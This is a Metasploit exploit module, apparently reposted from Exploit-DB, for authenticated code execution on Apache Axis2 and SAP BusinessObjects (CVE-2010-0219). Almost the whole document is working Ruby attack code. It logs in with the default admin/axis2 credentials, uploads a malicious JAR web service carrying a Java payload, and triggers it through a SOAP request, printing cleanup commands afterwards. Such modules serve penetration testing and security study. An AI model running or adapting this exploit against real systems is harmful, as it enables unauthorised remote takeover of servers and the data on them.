Axis2 / SAP BusinessObjects – (Authenticated) Code Execution (via SOAP) (Metasploit)

  • 作者: Metasploit
    日期: 2010-12-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16315/
  • ##
    # $Id: axis2_deployer.rb 11330 2010-12-14 17:26:44Z egypt $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit
    	Rank = ExcellentRanking
    
    	HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'		 => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
    			'Version'		=> '$Revision: 11330 $',
    			'Description'	=> %q{
    					This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
    				and uploads and executes commands via deploying a malicious web service by using SOAP.
    			},
    			'References'=>
    				[
    					# General
    					[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
    					[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
    					[ 'CVE', '2010-0219' ],
    				],
    			'Platform'	=> [ 'java', 'win', 'linux' ], # others?
    			'Targets'	 =>
    				[
    					[ 'Java', {
    							'Arch' => ARCH_JAVA,
    							'Platform' => 'java'
    						},
    					],
    					#
    					# Platform specific targets only
    					#
    					[ 'Windows Universal',
    						{
    							'Arch' => ARCH_X86,
    							'Platform' => 'win'
    						},
    					],
    
    					[ 'Linux X86',
    						{
    							'Arch' => ARCH_X86,
    							'Platform' => 'linux'
    						},
    					],
    				],
    			'Author'		 => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
    			'License'		=> MSF_LICENSE
    		))
    
    		register_options(
    			[
    				Opt::RPORT(8080),
    				OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
    				OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
    				OptString.new('PATH', [ true,"The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
    			], self.class)
    		register_autofilter_ports([ 8080 ])
    	end
    
    	def upload_exec(session)
    		contents=''
    		name = Rex::Text.rand_text_alpha(8)
    		services_xml = %Q{
    <service name="#{name}" scope="application">
    	<description>
    		#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
    	</description>
    	<messageReceivers>
    		<messageReceiver
    			mep="http://www.w3.org/2004/08/wsdl/in-only"
    			class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
    		<messageReceiver
    			mep="http://www.w3.org/2004/08/wsdl/in-out"
    			class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
    	</messageReceivers>
    	<parameter name="ServiceClass">
    		metasploit.PayloadServlet
    	</parameter>
    </service>
    }
    		if target.name =~ /Java/
    			zip = payload.encoded_jar
    			zip.add_file("META-INF/services.xml", services_xml)
    
    			# We need this class as a wrapper to run in a thread.For some reason
    			# the Payload class is giving illegal access exceptions without it.
    			path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
    			fd = File.open(path, "rb")
    			servlet = fd.read(fd.stat.size)
    			fd.close
    			zip.add_file("metasploit/PayloadServlet.class", servlet)
    
    			contents = zip.pack
    		else
    
    		end
    
    		boundary = rand_text_alphanumeric(6)
    
    		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
    		data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
    		data << contents
    		data << "\r\n--#{boundary}--"
    
    		res = send_request_raw({
    			'uri'	 => "/#{datastore['PATH']}/axis2-admin/upload",
    			'method'=> 'POST',
    			'data'	=> data,
    			'headers' =>
    			{
    				'Content-Type' => 'multipart/form-data; boundary=' + boundary,
    				'Content-Length' => data.length,
    				'Cookie' => "JSESSIONID=#{session}",
    			}
    		}, 25)
    
    		if (res and res.code == 200)
    			print_status("Successfully uploaded")
    		else
    			print_error("Error uploading #{res}")
    			return
    		end
    =begin
    		res = send_request_raw({
    			'uri'	=> "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
    			'method'=> 'GET',
    			'headers' =>
    			{
    				'Cookie' => "JSESSIONID=#{session}",
    			}
    		}, 25)
    		puts res.body
    		puts res.code
    		if res.code > 200 and res.code < 300
    			if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
    				dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
    				puts dir
    			else
    				if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
    					dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
    					puts dir
    				end
    			end
    		end
    =end
    
    
    		soapenv='http://schemas.xmlsoap.org/soap/envelope/'
    		xmlns='http://session.dsws.businessobjects.com/2007/06/01'
    		xsi='http://www.w3.org/2001/XMLSchema-instance'
    
    		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    		data << '<soapenv:Envelope xmlns:soapenv="' +soapenv + '"xmlns:ns="' + xmlns + '">' + "\r\n"
    		data << '<soapenv:Header/>' + "\r\n"
    		data << '<soapenv:Body>' + "\r\n"
    		data << '<soapenv:run/>' + "\r\n"
    		data << '</soapenv:Body>' + "\r\n"
    		data << '</soapenv:Envelope>' + "\r\n\r\n"
    
    		print_status("Polling to see if the service is ready")
    		1.upto 3 do
    			Rex::ThreadSafe.sleep(3)
    
    			res = send_request_raw({
    				'uri'		=> "/#{datastore['PATH']}/services/#{name}",
    				'method'	 => 'POST',
    				'data'	=> data,
    				'headers' =>
    					{
    						'Content-Length' => data.length,
    						'SOAPAction'	=> '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
    						'Content-Type'=> 'text/xml; charset=UTF-8',
    					}
    			}, 15)
    			if res.code > 200 and res.code < 300
    				print_status("")
    				print_status("NOTE: You will need to delete the web service that was uploaded.")
    				print_status("Using meterpreter:")
    				print_status("rm \"webapps/#{datastore['PATH']}/WEB-INF/services/#{name}.jar\"")
    				print_status("Using the shell:")
    				print_status("cd\"webapps/#{datastore['PATH']}/WEB-INF/services\"")
    				print_status("del #{name}.jar")
    				print_status("")
    				break
    			end
    
    		end
    
    	end
    
    	def exploit
    		user = datastore['USERNAME']
    		pass = datastore['PASSWORD']
    		path = datastore['PATH']
    		success = false
    		srvhdr = '?'
    		begin
    			res = send_request_cgi(
    				{
    					'method' => 'POST',
    					'uri'	=> "/#{path}/axis2-admin/login",
    					'ctype'=> 'application/x-www-form-urlencoded',
    					'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
    				}, 25)
    
    			if not (res.kind_of? Rex::Proto::Http::Response)
    				raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")
    			end
    
    			if res.code == 404
    				raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")
    			end
    
    			srvhdr = res.headers['Server']
    			if res.code == 200
    				# Could go with res.headers["Server"] =~ /Apache-Coyote/i
    				# as well but that seems like an element someone's more
    				# likely to change
    
    				success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
    				if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
    					session = $1
    				end
    			end
    
    		rescue ::Rex::ConnectionError
    			print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")
    		end
    
    		if success
    			print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
    			upload_exec(session)
    		else
    			print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
    		end
    	end
    
    end